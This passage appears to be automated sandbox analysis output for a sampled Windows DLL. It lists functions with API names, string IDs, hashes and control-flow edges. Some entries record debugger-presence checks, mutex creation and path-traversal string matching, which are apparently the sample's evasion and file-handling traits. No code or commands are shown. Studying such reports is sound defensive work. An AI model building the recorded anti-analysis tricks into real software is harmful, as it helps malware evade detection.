                                                                                              • Instruction ID: 9a11a17f6220f69402c3702a110ef3f82b0e2f281b4d7b9600f0b9d48610c607
                                                                                              • Opcode Fuzzy Hash: b45033584db0ff50918458eea75e13eeb73f92ba9bd596d7d984fc64c21a1611
                                                                                              • Instruction Fuzzy Hash: D5112132218B8492DB51DF61E9953DAB360FB8C784F845115FB8D07A59DF7CC2598B40
                                                                                              Function 000000018000766C Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: CreateDebuggerErrorLastMutexPresent
                                                                                              • String ID:
                                                                                              • API String ID: 1687116478-0
                                                                                              • Opcode ID: ce16e97de93cc2f2369dd741fae51ac398a972cdaea2ebeb19eaf88e5da36a06
                                                                                              • Instruction ID: 464a92b69e4a5b0545c007a8c1542b67e276aada4654000c8fa26d6cec054c38
                                                                                              • Opcode Fuzzy Hash: ce16e97de93cc2f2369dd741fae51ac398a972cdaea2ebeb19eaf88e5da36a06
                                                                                              • Instruction Fuzzy Hash: 09E01230A1590C86FADBFB6658473CD32556F5C7C1F94C425B00A451D3CE2D838C4722
                                                                                              Function 00000001800030E0 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Process$ExitTime$CreateCurrentErrorFileLastMutexOpenSystemToken_getptd_time64
                                                                                              • String ID:
                                                                                              • API String ID: 1842786081-0
                                                                                              • Opcode ID: e727d6bd91fed42a1cb8b422a7c3df18411c8a58581f1657afb338249c281cb4
                                                                                              • Instruction ID: d75355d22a127a368bc7d09cb1394b779b82ce499ca6405dd5a3131db84348f5
                                                                                              • Opcode Fuzzy Hash: e727d6bd91fed42a1cb8b422a7c3df18411c8a58581f1657afb338249c281cb4
                                                                                              • Instruction Fuzzy Hash: 77D0CA30B00A4C14FAEFF3B208677DC21181B0DBC2F40C82AB84240283CC2A82480321
                                                                                              Function 000000018000CB84 Relevance: 1.5, APIs: 1, Instructions: 45fileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 802 18000cb84-18000cbab 803 18000cbd4-18000cbe1 802->803 804 18000cbad-18000cbc8 ReadFile 802->804 807 18000cbe3-18000cbe5 803->807 808 18000cbe7-18000cbf9 call 1800103d0 803->808 805 18000cbca 804->805 806 18000cbce-18000cbd2 804->806 805->806 809 18000cbfb-18000cc14 806->809 807->808 808->809
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileRead
                                                                                              • String ID:
                                                                                              • API String ID: 2738559852-0
                                                                                              • Opcode ID: 8b9a4f45559588f056e7b26874cd9d8ca106a5f6c5f638104e52c3583b760725
                                                                                              • Instruction ID: f3127f308686a28a436f27b1605a4ebdeb8ec46310982df632531945b46c9cb9
                                                                                              • Opcode Fuzzy Hash: 8b9a4f45559588f056e7b26874cd9d8ca106a5f6c5f638104e52c3583b760725
                                                                                              • Instruction Fuzzy Hash: 3811CB72710AA887E759CB26D541B98BBA0F388FD0F08C226EF4983714CF74D959CB80
                                                                                              Function 000000018000CC18 Relevance: 1.5, APIs: 1, Instructions: 42COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 812 18000cc18-18000cc22 813 18000cc24-18000cc28 812->813 814 18000cc68-18000cc6b 812->814 817 18000cc61-18000cc66 813->817 818 18000cc2a-18000cc2d 813->818 815 18000cc72-18000cc76 814->815 816 18000cc6d-18000cc70 814->816 821 18000cc78-18000cc7b 815->821 822 18000cc7d-18000cc81 815->822 820 18000cc8c 816->820 819 18000cc8e-18000cc92 817->819 823 18000cc37-18000cc3b 818->823 824 18000cc2f-18000cc35 818->824 820->819 821->820 822->820 828 18000cc83-18000cc88 822->828 826 18000cc42-18000cc46 823->826 827 18000cc3d-18000cc40 823->827 825 18000cc4b-18000cc58 SetFilePointer 824->825 825->820 829 18000cc48 826->829 830 18000cc5a-18000cc5f 826->830 827->825 828->820 829->825 830->819
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: FilePointer
                                                                                              • String ID:
                                                                                              • API String ID: 973152223-0
                                                                                              • Opcode ID: 40d177127126ef412fe17073fd2d6598e5759e2a14b12820f11d5373857402ef
                                                                                              • Instruction ID: edecb821f315b64029a6aadd0479ef2a2e50fe368cfe6db49dfbe80f344103f0
                                                                                              • Opcode Fuzzy Hash: 40d177127126ef412fe17073fd2d6598e5759e2a14b12820f11d5373857402ef
                                                                                              • Instruction Fuzzy Hash: 44018F75A1516886FBFBC729C550FA93690D76DBC4F74C101E90E02A90CD16CA8E9F07
                                                                                              Function 000000018000CC94 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: FilePointer
                                                                                              • String ID:
                                                                                              • API String ID: 973152223-0
                                                                                              • Opcode ID: f02f2b81d3e709b799569ba998a7e56bf41314e5a19c22c152f8090a8548de9a
                                                                                              • Instruction ID: df5022a590bfddb01a66f64e89f4342aa72460b9279d7b5779c4b84e10b55e10
                                                                                              • Opcode Fuzzy Hash: f02f2b81d3e709b799569ba998a7e56bf41314e5a19c22c152f8090a8548de9a
                                                                                              • Instruction Fuzzy Hash: CAE04F7361518886F7A6CB79D4C4FA93690974CB88F28C840E64D46794CE26C69A9705

                                                                                              Non-executed Functions

                                                                                              Function 0000000180009B88 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 343timeCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: wcsstr$File$Time$ByteCharLocalMultiPointerWidewcscpy
                                                                                              • String ID: /../$/..\$\../$\..\
                                                                                              • API String ID: 2997815599-3885502717
                                                                                              • Opcode ID: c63cda6550314a1fbc42b64f3b6d4e7199c1a85e5491d223b7fe96266608c992
                                                                                              • Instruction ID: ca521236e72358234845f3b875c936ad34a4dc7c036e93cbfb0af18296b17341
                                                                                              • Opcode Fuzzy Hash: c63cda6550314a1fbc42b64f3b6d4e7199c1a85e5491d223b7fe96266608c992
                                                                                              • Instruction Fuzzy Hash: A2E1D432605A8886EBA6CB65E4807DEB7E0F3897C4F05C026EE9947795DF7CD648CB00
                                                                                              Function 000000018000B328 Relevance: 5.6, Strings: 4, Instructions: 567COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: invalid bit length repeat$invalid block type$invalid stored block lengths$too many length or distance symbols
                                                                                              • API String ID: 0-26694007
                                                                                              • Opcode ID: 34497f86f91dcbaa970d1a6b4e464af1cc6dc0ff953c58766a52c54e6cbb0799
                                                                                              • Instruction ID: 0c49969d484c5fead2631cff530fc2d2930a2871b558c7e69245d2a1e367d23d
                                                                                              • Opcode Fuzzy Hash: 34497f86f91dcbaa970d1a6b4e464af1cc6dc0ff953c58766a52c54e6cbb0799
                                                                                              • Instruction Fuzzy Hash: E532B072214A888BE7B5CF15E4447AE77A5F388784F508119EB8B87B90DF78DA48CF01
                                                                                              Function 00000001800164DC Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: EnumLocalesSystem
                                                                                              • String ID:
                                                                                              • API String ID: 2099609381-0
                                                                                              • Opcode ID: bf752e1d2f6d9172045f83168e5615217ef160cdeb4d13bfac8e37ecc3a67743
                                                                                              • Instruction ID: d06cde12057cc0f221afb826c5ba649a36ec8fb5c2818196e1554bffb0e224e0
                                                                                              • Opcode Fuzzy Hash: bf752e1d2f6d9172045f83168e5615217ef160cdeb4d13bfac8e37ecc3a67743
                                                                                              • Instruction Fuzzy Hash: BFE0E231A12A08C2F7C38B45FCCD7D53260B36C759F918982D82E06670DE28C3AD8300
                                                                                              Function 000000018002A010 Relevance: .0, Instructions: 20COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: a4304a6935dbd7da60fae79c0183c2b53dbd7000671ea04d698dd6d23216a974
                                                                                              • Instruction ID: ff18902668e0a0ac22dee06dae8c9632b2aec42e479af62291a55a02149b8703
                                                                                              • Opcode Fuzzy Hash: a4304a6935dbd7da60fae79c0183c2b53dbd7000671ea04d698dd6d23216a974
                                                                                              • Instruction Fuzzy Hash: B2E0EDA7A5EBD45BF79355240CAD3841FE197A7B55F4DC08B9A40832C3EC091D0A9311
                                                                                              Function 000000018002A2E0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e305a1b9a47c335891ba5123a69049717e6ad1c050686b08884384d22612c336
                                                                                              • Instruction ID: 076a584d60b9ae9610cfae7ab724acd13e8f946674180cd6b3fd3c99fe18e423
                                                                                              • Opcode Fuzzy Hash: e305a1b9a47c335891ba5123a69049717e6ad1c050686b08884384d22612c336
                                                                                              • Instruction Fuzzy Hash: 02A01253E1AE80C5E2D34018096C34026C10B72501E0C40080E000114158431C041110
                                                                                              Function 0000000180006978 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionThrow$std::system_error::system_error$fclose
                                                                                              • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                                                              • API String ID: 772702708-1866435925
                                                                                              • Opcode ID: d6f5faf7691fbbf7294e8a70509f7362cea809e2d0874881598b907419e9612a
                                                                                              • Instruction ID: d074a680f54ec9ec08e3c3939003c0680e00e3546a68ebab66b229bceba3037f
                                                                                              • Opcode Fuzzy Hash: d6f5faf7691fbbf7294e8a70509f7362cea809e2d0874881598b907419e9612a
                                                                                              • Instruction Fuzzy Hash: AF41B072B00B5889FB82DB64E9413DC33B1F789788F54C026FA4917A69EF34C64AC340
                                                                                              Function 0000000180010B1C Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Pointer$DecodeEncodeErrorFreeHeapLast_errno
                                                                                              • String ID:
                                                                                              • API String ID: 4099253644-0
                                                                                              • Opcode ID: 8efbbb9c4873a64504c338913681753734603965fa93af017c7514d3672ffed4
                                                                                              • Instruction ID: 15c3249af88e0c69ecdc848919ee8cfd5aedf26b8ffdd6a7114bfbf00866e913
                                                                                              • Opcode Fuzzy Hash: 8efbbb9c4873a64504c338913681753734603965fa93af017c7514d3672ffed4
                                                                                              • Instruction Fuzzy Hash: 6231EC35605E4C85FFD79B11E8993E423A0BB8D7E5F98C216A95906691DFBCC74C8300
                                                                                              Function 0000000180001CF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrowmessagesstd::bad_exception::bad_exception
                                                                                              • String ID: bad cast
                                                                                              • API String ID: 669907958-3145022300
                                                                                              • Opcode ID: 4fa6d71d50e598c861d8e41435344de83595247ab917785bc3ae51f0c75c13ef
                                                                                              • Instruction ID: 6be8ec9a5e01e3fcdaaf724326c06c79c3561aeb9f5e7a92eba98a804540273e
                                                                                              • Opcode Fuzzy Hash: 4fa6d71d50e598c861d8e41435344de83595247ab917785bc3ae51f0c75c13ef
                                                                                              • Instruction Fuzzy Hash: 83318132204A49C5EA97DB55E8803D97360F79CBE5F548222FA6A076E5DF38C649C700
                                                                                              Function 0000000180001E28 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrowctypestd::bad_exception::bad_exception
                                                                                              • String ID: bad cast
                                                                                              • API String ID: 2884461038-3145022300
                                                                                              • Opcode ID: 11af6d6b638cd6d8533329469352a9a69fc06472c1d1ceca10a31f26675cc4f0
                                                                                              • Instruction ID: f5bb61deeb195db591cc52650b3a7efd805bd8f129ffb08db6aca863f4d0a473
                                                                                              • Opcode Fuzzy Hash: 11af6d6b638cd6d8533329469352a9a69fc06472c1d1ceca10a31f26675cc4f0
                                                                                              • Instruction Fuzzy Hash: 00313032204A89C5EA97DB15E8903ED7361F79CBE5F54C222BA69077E5DF38C64AC700
                                                                                              Function 0000000180015E98 Relevance: 15.3, APIs: 10, Instructions: 258COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharMultiWide$Info
                                                                                              • String ID:
                                                                                              • API String ID: 1775632426-0
                                                                                              • Opcode ID: 4dd2f3d51fef2b2e4243b0112d4500e12d93e6f353a6bb79529204f27a506a7f
                                                                                              • Instruction ID: f12991d8f635a15084deab0d295c505a799ec6adcd4f946e76826d6b27806438
                                                                                              • Opcode Fuzzy Hash: 4dd2f3d51fef2b2e4243b0112d4500e12d93e6f353a6bb79529204f27a506a7f
                                                                                              • Instruction Fuzzy Hash: 33A1B332B00A8896FBA38B2588443DA3792F7487E5F58C625FA994B7D5EE74C74DC300
                                                                                              Function 0000000180010E40 Relevance: 13.6, APIs: 9, Instructions: 101COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$Decode$EncodeExitProcess$__crt
                                                                                              • String ID:
                                                                                              • API String ID: 3248576438-0
                                                                                              • Opcode ID: 89d4d018f85fe7f274cf3153f0a9bd95fb38fb1e55465fabcdfd1cdf7e526125
                                                                                              • Instruction ID: fc4aac5b1988c40ff6d67341c3c49b4fbc4ac4a462190307d832b5b302e9994e
                                                                                              • Opcode Fuzzy Hash: 89d4d018f85fe7f274cf3153f0a9bd95fb38fb1e55465fabcdfd1cdf7e526125
                                                                                              • Instruction Fuzzy Hash: A6415B3120AA4886F7D2AB15E8453A963A1B78DBD4F54C429F98E43BA4DFB8C65DC700
                                                                                              Function 0000000180013FB3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Exception_getptd$DestructObject$Raise_amsg_exit_getptd_noexit
                                                                                              • String ID: csm
                                                                                              • API String ID: 1037122555-1018135373
                                                                                              • Opcode ID: 8cc5aab486b79f6939ee9c3af446ad11739755221d559d64debd543501878964
                                                                                              • Instruction ID: 40f80edded23f28ba7466eb4ad777ea163751a0e19678eeb116ca7e195400584
                                                                                              • Opcode Fuzzy Hash: 8cc5aab486b79f6939ee9c3af446ad11739755221d559d64debd543501878964
                                                                                              • Instruction Fuzzy Hash: 33212F37204A4986E772DF16E04039E77A0F78DBA5F058116EF9A07795CF39D68ACB01
                                                                                              Function 000000018001C3E4 Relevance: 12.2, APIs: 8, Instructions: 168COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Sleep_malloc_crtmalloc
                                                                                              • String ID:
                                                                                              • API String ID: 2523592665-0
                                                                                              • Opcode ID: 08c7913399bfe75442c5bd36f4ccdf5d38f5f124a527d33b01c0bed89ce62920
                                                                                              • Instruction ID: 53a15b5c003b08dfd8aa7b6372284484974c1403eafeee31eb887339c51abe7b
                                                                                              • Opcode Fuzzy Hash: 08c7913399bfe75442c5bd36f4ccdf5d38f5f124a527d33b01c0bed89ce62920
                                                                                              • Instruction Fuzzy Hash: BF61C132301F0893EBA6DF16E99179A33A0F78CBD4F448125AE5C07B51DF78D6A98744
                                                                                              Function 0000000180024C1C Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
                                                                                              • String ID:
                                                                                              • API String ID: 1573762532-0
                                                                                              • Opcode ID: 0e6320d52c62888cb292c7f9f2adc1d3a4cba4df2b00eec7edf4789d12ef84aa
                                                                                              • Instruction ID: 60dc5ee10135fc9b18759452741293337481ad3d597f44b9cddfe2a38b087a5a
                                                                                              • Opcode Fuzzy Hash: 0e6320d52c62888cb292c7f9f2adc1d3a4cba4df2b00eec7edf4789d12ef84aa
                                                                                              • Instruction Fuzzy Hash: 4741FF73A012AD82EBE7AB1591403F973A0E758BD4F98C116FA994F6C5DF38CB498700
                                                                                              Function 000000018001E5C0 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
